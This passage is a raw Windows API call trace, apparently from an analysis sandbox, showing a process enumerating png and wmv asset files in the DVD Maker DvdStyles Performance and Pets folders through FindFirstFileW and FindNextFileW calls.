hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0053.190] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance", cAlternateFileName="PERFOR~1")) returned 1 [0053.190] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0053.232] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.233] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70562bb6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70562bb6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480blacksquare.png", cAlternateFileName="")) returned 1 [0053.233] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703015e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703015e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1168, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0053.233] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dbda349, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc04, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIconSubpictur.png", cAlternateFileName="")) returned 1 [0053.233] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70184844, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70184844, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc26605, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa942c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_loop.wmv", cAlternateFileName="")) returned 1 [0053.233] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7021cdb8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7021cdb8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc728c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbebec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_loop_PAL.wmv", cAlternateFileName="")) returned 1 [0053.233] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0053.233] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIconSubpict.png", cAlternateFileName="")) returned 1 [0053.233] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70053d5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70053d5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x629b, dwReserved0=0x0, dwReserved1=0x0, cFileName="performance.png", cAlternateFileName="")) returned 1 [0053.233] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700a0016, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700a0016, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1b0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perf_Scenes_Mask1.png", cAlternateFileName="")) returned 1 [0053.233] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perf_Scenes_Subpicture1.png", cAlternateFileName="")) returned 1 [0053.233] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70269072, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70269072, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0053.233] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x702b532c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x702b532c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIconSubpi.png", cAlternateFileName="")) returned 1 [0053.233] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700ec2d0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700ec2d0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc24, dwReserved0=0x0, dwReserved1=0x0, cFileName="redmenu.png", cAlternateFileName="")) returned 1 [0053.233] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ddc950f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8232c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scene_loop.wmv", cAlternateFileName="")) returned 1 [0053.234] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70399b5a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70399b5a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4de61a87, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x95bac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scene_loop_PAL.wmv", cAlternateFileName="")) returned 1 [0053.234] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="TitleButtonIcon.png", cAlternateFileName="")) returned 1 [0053.234] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="TitleButtonSubpicture.png", cAlternateFileName="")) returned 1 [0053.234] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703e5e14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703e5e14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ded3ea1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a9204, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page.wmv", cAlternateFileName="")) returned 1 [0053.234] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7047e388, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7047e388, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e050c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1d0304, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_PAL.wmv", cAlternateFileName="")) returned 1 [0053.234] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70588d13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70588d13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1a789b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xad264, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_trans_notes.wmv", cAlternateFileName="")) returned 1 [0053.234] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705fb12a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x705fb12a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1f3b57, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Trans_Notes_PAL.wmv", cAlternateFileName="")) returned 1 [0053.234] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7066d541, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7066d541, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e23fe13, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x999e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_trans_scene.wmv", cAlternateFileName="")) returned 1 [0053.234] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70705ab5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70705ab5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa16e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Trans_Scene_PAL.wmv", cAlternateFileName="")) returned 1 [0053.234] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70079eb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70079eb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="userContent_16x9_imagemask.png", cAlternateFileName="")) returned 1 [0053.234] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemenu.png", cAlternateFileName="")) returned 1 [0053.234] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemenu.png", cAlternateFileName="")) returned 0 [0053.234] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0053.235] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0053.235] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets", cAlternateFileName="")) returned 1 [0053.235] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0053.239] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.239] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72003fbd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72003fbd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39eaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0053.239] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72050277, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72050277, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd24, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0053.239] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x720763d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x720763d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e5d1ee3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_LOOP_BG.wmv", cAlternateFileName="")) returned 1 [0053.240] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7210e948, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7210e948, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e61e19f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0053.240] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-back-over-select.png", cAlternateFileName="")) returned 1 [0053.240] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7242e5e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7242e5e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-back-static.png", cAlternateFileName="")) returned 1 [0053.240] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72454746, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72454746, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-next-over-select.png", cAlternateFileName="")) returned 1 [0053.240] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7247a8a3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7247a8a3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-next-static.png", cAlternateFileName="")) returned 1 [0053.240] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722b1847, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722b1847, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-over-DOT.png", cAlternateFileName="")) returned 1 [0053.240] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-previous-over-select.png", cAlternateFileName="")) returned 1 [0053.240] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-previous-static.png", cAlternateFileName="")) returned 1 [0053.240] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x33b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-border.png", cAlternateFileName="")) returned 1 [0053.240] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-highlight.png", cAlternateFileName="")) returned 1 [0053.240] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722fdb01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722fdb01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fe9, dwReserved0=0x0, dwReserved1=0x0, 